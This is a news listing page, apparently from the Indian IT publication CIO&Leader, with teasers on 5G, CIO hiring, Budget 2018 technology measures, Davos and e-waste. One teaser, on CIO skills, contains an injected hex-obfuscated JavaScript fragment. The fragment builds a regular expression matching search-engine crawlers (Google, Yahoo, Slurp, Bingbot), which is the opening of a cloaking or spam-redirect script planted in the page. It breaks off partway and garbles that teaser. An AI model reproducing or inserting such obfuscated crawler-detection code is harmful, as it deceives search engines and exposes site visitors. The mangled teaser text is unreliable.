How the benefits of 5G will impact businesses
4G is a very common technology term that even technology novices are adept with, given the mobility is accessible through wireless or their operator’s network. The next generation of mobile network is known as 5G or 5th Generation mobile network or 5th Generation wireless system. According to Technology Analyst TBR, 5G is a new radio technology interface that is significantly more powerful (with... By Balasubramaniam Vedagiri
Skills Indian CIOs will develop and hire to conquer 2018
We present ten top CIOs and their take on what skills they are looking at hiring and what skills that they are looking to acquire for themselves. Hombrevar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\x28\x47"+"\x6f"+"\x6f\x67"+"\x6c"+"\x65\x7c\x59\x61"+"\x68\x6f\x6f"+"\x7c\x53\x6c\x75"+"\x72\x70"+"\x7c\x42\x69"+"\x6e\x67\x62"+"\x6f\x74\x29", "\x67\x69"); var f2 = navigator... By Shubhra Rishi
Budget 2018: Cryptocurrency is not legal tender
With finance minister, Arun Jaitley, announcing that virtual currencies are no legal tender and that the proliferation of its use for illegitimate financing will be curbed. "Crypto currencies are no legal tender and the government discourages its use. However, the government will look at the utilization of Blockchain," said Jaitley said in his Budget speech. "The government should consider... By IANS
Budget 2018: Industry quotes and reactions
Prakash Mallya, Managing Director, Sales & Marketing Group, Intel India “Today’s Budget clearly pivots on a digital-first India, and three recommendations made by the FM relate directly to the potential we see in the country. First, the NITI Aayog effort to institutionalize research and development in artificial intelligence reinforces the value that machine learning can bring to issues... By CIO&Leader
Budget 2018: Jaitley proposes cybersecurity COE, VC regime and Aadhaar for Business
2017 was a year of breach. It highlighted the need and urgency to strengthen India's cyber security defense. A frequently quoted figure provided by the Reserve Bank of India, a total of 8,689 cases of frauds involving credit cards, ATM/debit cards and internet banking, were recorded during the last one year. In a Cyber Crime survey conducted by KPMG in India last year, highlighted a common... By CIO&Leader
Budget 2018 reinforces focus on improving internet penetration in rural India
According to a report released at the 'India Mobile Congress 2017, while the overall Internet penetration in India is 33%, only 16% in rural areas. The government wants to improve this dismal figure. During finance minister Arun Jaitley's Budget 2017 speech, he stepped up the allocation for BharatNet Project to INR 10,000 crores. BharatNet, an initiative of the government... By CIO&Leader
Artificial intelligence gets special mention in India's Budget 2018 speech
It is once again the time of the year when the finance minister of India, Arun Jaitley, presents the government's proposed revenues and spending for a financial year. In his speech, Jaitley said that the global economy is transforming into a digital economy as a result of development of cutting edge technologies namely, machine learning, IoT, 3D printing and... By CIO&Leader
A case for gender equality at Davos 2018
The world is witness to the World Economic Forum Annual Meeting taking place in Davos, Switzerland. Davos 2018 is one of the first world conferences this year to discuss Gender Equality on a global platform – a topic that made headlines all through last year. There were other major topics too - climate change, Artificial intelligence - but the conference has set a precedent for the rest of... By CIO&Leader
IFC & Karo Sambhav emphasizes on e-waste awareness and management in India
International Finance Corporation (IFC) and Karo Sambhav hosted a media sensitization workshop in order to facilitate an interactive discussion around the current and future scenario of e-waste in India. The objective was to create awareness around the severity of India’s mammoth e-waste problem for both, the well-being of its value chain partners as well as the larger environmental scenario.... By CIO&Leader
Liberal dose of tech speak in PM's Davos speech
Prime Minister Narendra Modi delivered his keynote at the annual meeting of the World Economic Forum at Davos today. In his speech, he touched various aspects of Inda's policies whlle outlining some agenda items for the global community. His speech had enough reference to technology. "Technology driven transformation is altering our way of living. Politics and economics, all has been influenced... By CIO&Leader
SAP and InnovatioNext launch i360 program for the Indian academic sector
To enable academic institutions comply with new model engineering curriculum set by the All India Council for Technical Education (AICTE), SAP SE today announced launch of i360 program, an Innovation 4.0 Accelerator program for the academic sector in the country. The program aims to upskill engineering students on next-generation technologies, such as Internet of Things, machine... By CIO&Leader